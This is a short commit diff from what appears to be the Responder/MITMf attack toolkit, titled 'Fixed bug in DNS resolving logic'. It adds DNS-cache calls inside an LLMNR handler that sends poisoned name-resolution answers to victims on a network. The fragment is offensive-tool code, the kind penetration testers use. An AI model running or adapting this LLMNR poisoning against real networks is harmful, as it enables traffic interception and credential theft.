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Fixed bug in DNS resolving logic

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This commit is contained in:
byt3bl33d3r 2015-03-12 19:43:29 +01:00
parent cd9a16de55
commit c85fd2b5f3
3 changed files with 98 additions and 61 deletions
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4
libs/responder/Responder.py
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@ -1232,6 +1232,7 @@ class LLMNR(BaseRequestHandler):
if RespondToIPScope(RespondTo, self.client_address[0]):
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
@ -1253,6 +1254,7 @@ class LLMNR(BaseRequestHandler):
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
@ -1275,6 +1277,7 @@ class LLMNR(BaseRequestHandler):
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):
@ -1294,6 +1297,7 @@ class LLMNR(BaseRequestHandler):
pass
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):